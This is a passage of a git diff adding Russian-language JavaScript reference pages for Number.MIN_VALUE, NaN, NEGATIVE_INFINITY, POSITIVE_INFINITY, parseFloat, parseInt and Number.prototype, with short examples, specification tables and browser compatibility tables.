+<p>Поскольку <code>MIN_VALUE</code> является статическим свойством объекта {{jsxref("Global_Objects/Number", "Number")}}, вы всегда должны использовать его как <code>Number.MIN_VALUE</code>, а не как свойство созданного вами объекта {{jsxref("Global_Objects/Number", "Number")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_MIN_VALUE" name="Example:_Using_MIN_VALUE">Пример: использование <code>MIN_VALUE</code></h3>
+
+<p>В следующем примере кода производится деление одного значения на другое. Если результат больше или равен <code>MIN_VALUE</code>, вызывается функция <code>func1</code>; в противном случае вызывается функция <code>func2</code>.</p>
+
+<pre class="brush: js">if (num1 / num2 &gt;= Number.MIN_VALUE) {
+  func1();
+} else {
+  func2();
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.3.3', 'Number.MIN_VALUE')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.min_value', 'Number.MIN_VALUE')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Number.MAX_VALUE")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/nan/index.html b/files/ru/web/javascript/reference/global_objects/number/nan/index.html
new file mode 100644
index 0000000000..c85c806eb3
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/nan/index.html
@@ -0,0 +1,97 @@
+---
+title: Number.NaN
+slug: Web/JavaScript/Reference/Global_Objects/Number/NaN
+tags:
+  - JavaScript
+  - Number
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/NaN
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Number.NaN</code></strong> представляет «не число». Эквивалентно глобальному объекту {{jsxref("Global_Objects/NaN", "NaN")}}.</p>
+<p>Вам не нужно создавать объект {{jsxref("Global_Objects/Number", "Number")}} для доступа к этому статическому свойству (используйте <code>Number.NaN</code>).</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.3.4', 'Number.NaN')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.nan', 'Number.NaN')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>Глобальный объект {{jsxref("Global_Objects/NaN", "NaN")}}.</li>
+ <li>Объект {{jsxref("Global_Objects/Number", "Number")}}, которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/negative_infinity/index.html b/files/ru/web/javascript/reference/global_objects/number/negative_infinity/index.html
new file mode 100644
index 0000000000..7f65de76b3
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/negative_infinity/index.html
@@ -0,0 +1,125 @@
+---
+title: Number.NEGATIVE_INFINITY
+slug: Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY
+tags:
+  - JavaScript
+  - Number
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Number.NEGATIVE_INFINITY</code></strong> представляет значение отрицательной бесконечности.</p>
+<p>Вам не нужно создавать объект {{jsxref("Global_Objects/Number", "Number")}} для доступа к этому статическому свойству (используйте <code>Number.NEGATIVE_INFINITY</code>).</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Значение <code>Number.NEGATIVE_INFINITY</code> является тем же самым по модулю, только отрицательным значением, что содержит свойство {{jsxref("Global_Objects/Infinity", "Infinity")}} глобального объекта.</p>
+<p>Это значение ведёт себя несколько иначе, нежели математическая бесконечность:</p>
+<ul>
+ <li>Любое положительное значение, включая {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}, умноженное на <code>NEGATIVE_INFINITY</code> даёт <code>NEGATIVE_INFINITY</code>.</li>
+ <li>Любое отрицательное значение, включая <code>NEGATIVE_INFINITY</code>, умноженное на <code>NEGATIVE_INFINITY</code> даёт {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}.</li>
+ <li>Ноль, умноженный на <code>NEGATIVE_INFINITY</code>, даёт {{jsxref("Global_Objects/NaN", "NaN")}}.</li>
+ <li>{{jsxref("Global_Objects/NaN", "NaN")}}, умноженный на <code>NEGATIVE_INFINITY</code>, даёт {{jsxref("Global_Objects/NaN", "NaN")}}.</li>
+ <li><code>NEGATIVE_INFINITY</code>, делённое на любое отрицательное значение, исключая <code>NEGATIVE_INFINITY</code>, даёт {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}.</li>
+ <li><code>NEGATIVE_INFINITY</code>, делённое на любое положительное значение, исключая {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}, даёт <code>NEGATIVE_INFINITY</code>.</li>
+ <li><code>NEGATIVE_INFINITY</code>, делённое на <code>NEGATIVE_INFINITY</code> или {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}, даёт {{jsxref("Global_Objects/NaN", "NaN")}}.</li>
+ <li>Любое число, делённое на <code>NEGATIVE_INFINITY</code>, даёт ноль.</li>
+</ul>
+<p>Вы можете использовать свойство <code>Number.NEGATIVE_INFINITY</code> для проверки на ошибки и возвращать конечное число в случае успеха. Однако, обратите внимание, что в этом случае более уместным было бы использование функции {{jsxref("Global_Objects/isFinite", "isFinite")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_NEGATIVE_INFINITY" name="Example:_Using_NEGATIVE_INFINITY">Пример: использование <code>NEGATIVE_INFINITY</code></h3>
+<p>В следующем примере переменной <code>smallNumber</code> присваивается значение, меньшее минимального. Когда выполняется инструкция {{jsxref("Statements/if...else", "if")}}, переменная <code>smallNumber</code> имеет значение <code>-Infinity</code>, так что перед продолжением вычислений она устанавливается в более приемлимое значение.</p>
+<pre class="brush: js">var smallNumber = (-Number.MAX_VALUE) * 2;
+
+if (smallNumber == Number.NEGATIVE_INFINITY) {
+  smallNumber = returnFinite();
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.3.5', 'Number.NEGATIVE_INFINITY')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.negative_infinity', 'Number.NEGATIVE_INFINITY')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.isFinite()")}}</li>
+ <li>{{jsxref("Global_Objects/Infinity", "Infinity")}}</li>
+ <li>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/parsefloat/index.html b/files/ru/web/javascript/reference/global_objects/number/parsefloat/index.html
new file mode 100644
index 0000000000..ab4a2e0dc7
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/parsefloat/index.html
@@ -0,0 +1,108 @@
+---
+title: Number.parseFloat()
+slug: Web/JavaScript/Reference/Global_Objects/Number/parseFloat
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Number
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/parseFloat
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Number.parseFloat()</code></strong> разбирает строковый аргумент и возвращает число с плавающей запятой. Этот метод ведёт себя идентично глобальной функции {{jsxref("Global_Objects/parseFloat", "parseFloat()")}} и является частью ECMAScript 6 (его целью является модуляризация глобальных сущностей).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Number.parseFloat(<var>string</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>string</code></dt>
+ <dd>Строка, представляющая значение, которое вы хотите разобрать.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Пожалуйста, обратитесь к документации по глобальной функции {{jsxref("Global_Objects/parseFloat", "parseFloat()")}} для просмотра подробного описания и примеров.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>
+    <p>{{SpecName('ES6', '#sec-number.parsefloat', 'Number.parseFloat')}}</p>
+   </td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Объект {{jsxref("Global_Objects/Number", "Number")}}, которому принадлежит этот метод.</li>
+ <li>Глобальная функция {{jsxref("Global_Objects/parseFloat", "parseFloat()")}}.</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/parseint/index.html b/files/ru/web/javascript/reference/global_objects/number/parseint/index.html
new file mode 100644
index 0000000000..66bc26675f
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/parseint/index.html
@@ -0,0 +1,82 @@
+---
+title: Number.parseInt()
+slug: Web/JavaScript/Reference/Global_Objects/Number/parseInt
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Number
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/parseInt
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Number.parseInt()</code></strong> разбирает строковый аргумент и возвращает целое число. Этот метод ведёт себя идентично глобальной функции {{jsxref("Global_Objects/parseInt", "parseInt()")}} и является частью ECMAScript 6 (его целью является модуляризация глобальных сущностей).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Number.parseInt(<var>string</var>[, <var>radix</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>string</code></dt>
+ <dd>Значение для разбора. Если параметр не является строкой, он будет в неё преобразован. Ведущие пробельные символы в строке игнорируются.</dd>
+ <dt><code>radix</code></dt>
+ <dd>Необязательный параметр. Целое число, представляющее основание системы счисления для числа в указанной выше строке. Для избежания непонятностей при чтении кода и гарантии предсказуемого поведения <strong>всегда определяйте этот параметр</strong>. Различные реализации дадут разные результаты, если основание системы счисления не будет указано.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Целое число, полученное парсингом (разбором и интерпретацией) переданной строки. Если первый символ строки не может быть преобразован в число, то возвращается <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="Глобальное свойство NaN является значением, представляющим не-число (Not-A-Number)."><code>NaN</code></a>. </p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Этот метод имеет ту же функциональность, что и глобальная функция {{jsxref("parseInt", "parseInt()")}}:</p>
+
+<pre class="brush: js">Number.parseInt === parseInt; // true</pre>
+
+<p>Пожалуйства, обратитесь к документации по глобальной функции {{jsxref("Global_Objects/parseInt", "parseInt()")}} для просмотра подробного описания и примеров.</p>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<pre class="brush: js">if (Number.parseInt === undefined) {
+    Number.parseInt = window.parseInt;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>
+    <p>{{SpecName('ES6', '#sec-number.parseint', 'Number.parseInt')}}</p>
+   </td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.parseint', 'Number.parseInt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.Number.parseInt")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Объект {{jsxref("Global_Objects/Number", "Number")}}, которому принадлежит этот метод.</li>
+ <li>Глобальная функция {{jsxref("Global_Objects/parseInt", "parseInt()")}}.</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/positive_infinity/index.html b/files/ru/web/javascript/reference/global_objects/number/positive_infinity/index.html
new file mode 100644
index 0000000000..fd87dde80a
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/positive_infinity/index.html
@@ -0,0 +1,125 @@
+---
+title: Number.POSITIVE_INFINITY
+slug: Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY
+tags:
+  - JavaScript
+  - Number
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Number.POSITIVE_INFINITY</code></strong> представляет значение положительной бесконечности.</p>
+<p>Вам не нужно создавать объект {{jsxref("Global_Objects/Number", "Number")}} для доступа к этому статическому свойству (используйте <code>Number.POSITIVE_INFINITY</code>).</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Значение <code>Number.POSITIVE_INFINITY</code> является тем же самым значением, что содержит свойство {{jsxref("Global_Objects/Infinity", "Infinity")}} глобального объекта.</p>
+<p>Это значение ведёт себя несколько иначе, нежели математическая бесконечность:</p>
+<ul>
+ <li>Любое положительное значение, включая <code>POSITIVE_INFINITY</code>, умноженное на <code>POSITIVE_INFINITY</code> даёт <code>POSITIVE_INFINITY</code>.</li>
+ <li>Любое отрицательное значение, включая {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}, умноженное на <code>POSITIVE_INFINITY</code> даёт {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}.</li>
+ <li>Ноль, умноженный на <code>POSITIVE_INFINITY</code>, даёт {{jsxref("Global_Objects/NaN", "NaN")}}.</li>
+ <li>{{jsxref("Global_Objects/NaN", "NaN")}}, умноженный на <code>POSITIVE_INFINITY</code>, даёт {{jsxref("Global_Objects/NaN", "NaN")}}.</li>
+ <li><code>POSITIVE_INFINITY</code>, делённое на любое отрицательное значение, исключая {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}, даёт {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}.</li>
+ <li><code>POSITIVE_INFINITY</code>, делённое на любое положительное значение, исключая <code>POSITIVE_INFINITY</code>, даёт <code>POSITIVE_INFINITY</code>.</li>
+ <li><code>POSITIVE_INFINITY</code>, делённое на {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}} или <code>POSITIVE_INFINITY</code>, даёт {{jsxref("Global_Objects/NaN", "NaN")}}.</li>
+ <li>Любое число, делённое на <code>POSITIVE_INFINITY</code>, даёт ноль.</li>
+</ul>
+<p>Вы можете использовать свойство <code>Number.POSITIVE_INFINITY</code> для проверки на ошибки и возвращать конечное число в случае успеха. Однако, обратите внимание, что в этом случае более уместным было бы использование функции {{jsxref("Global_Objects/isFinite", "isFinite")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_POSITIVE_INFINITY" name="Example:_Using_POSITIVE_INFINITY">Пример: использование <code>POSITIVE_INFINITY</code></h3>
+<p>В следующем примере переменной <code>bigNumber</code> присваивается значение, большее максимального. Когда выполняется инструкция {{jsxref("Statements/if...else", "if")}}, переменная <code>bigNumber</code> имеет значение <code>Infinity</code>, так что перед продолжением вычислений она устанавливается в более приемлимое значение.</p>
+<pre class="brush: js">var bigNumber = Number.MAX_VALUE * 2;
+
+if (bigNumber == Number.POSITIVE_INFINITY) {
+  bigNumber = returnFinite();
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.3.6', 'Number.POSITIVE_INFINITY')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.positive_infinity', 'Number.POSITIVE_INFINITY')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.isFinite()")}}</li>
+ <li>{{jsxref("Global_Objects/Infinity", "Infinity")}}</li>
+ <li>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/prototype/index.html b/files/ru/web/javascript/reference/global_objects/number/prototype/index.html
new file mode 100644
index 0000000000..640e7ce716
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/prototype/index.html
@@ -0,0 +1,123 @@
+---
+title: Number.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Number/prototype
+tags:
+  - JavaScript
+  - Number
+  - Property
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Number.prototype</code></strong> представляет прототип конструктора {{jsxref("Global_Objects/Number", "Number")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Все экземпляры {{jsxref("Global_Objects/Number", "Number")}} наследуются от <code>Number.prototype</code>. Объект прототипа конструктора {{jsxref("Global_Objects/Number", "Number")}} может быть изменён для затрагивания всех экземпляров объекта {{jsxref("Global_Objects/Number", "Number")}}.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+<dl>
+ <dt><code>Number.prototype.constructor</code></dt>
+ <dd>Возвращает функцию, создавшую этот экземпляр объекта. По умолчанию ей является объект {{jsxref("Global_Objects/Number", "Number")}}.</dd>
+</dl>
+
+<div>{{jsOverrides("Object", "properties", "constructor")}}</div>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<dl>
+ <dt>{{jsxref("Number.prototype.toExponential()")}}</dt>
+ <dd>Возвращает строку, представляющую число в экспоненциальной записи.</dd>
+ <dt>{{jsxref("Number.prototype.toFixed()")}}</dt>
+ <dd>Возвращает строку, представляющую число в записи с фиксированной запятой.</dd>
+ <dt>{{jsxref("Number.prototype.toLocaleString()")}}</dt>
+ <dd>Возвращает строку с языко-зависимым представлением числа. Переопределяет метод {{jsxref("Object.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("Number.prototype.toPrecision()")}}</dt>
+ <dd>Возвращает строку, представляющую число с указанной точностью в экспоненциальной записи, либо записи с фиксированной запятой.</dd>
+ <dt>{{jsxref("Number.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает объектный литерал, представляющий объект {{jsxref("Global_Objects/Number", "Number")}}; вы можете использовать это значение для создания нового объекта. Переопределяет метод {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("Number.prototype.toString()")}}</dt>
+ <dd>Возвращает строку, представляющую указанный объект по указанному основанию системы счисления. Переопределяет метод {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("Number.prototype.valueOf()")}}</dt>
+ <dd>Возвращает примитивное значение указанного объекта. Переопределяет метод {{jsxref("Object.prototype.valueOf()")}}.</dd>
+</dl>
+
+<div>{{jsOverrides("Object", "methods", "toExponential", "toFixed", "toLocaleString", "toPrecision", "toSource", "toString", "valueOf")}}</div>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
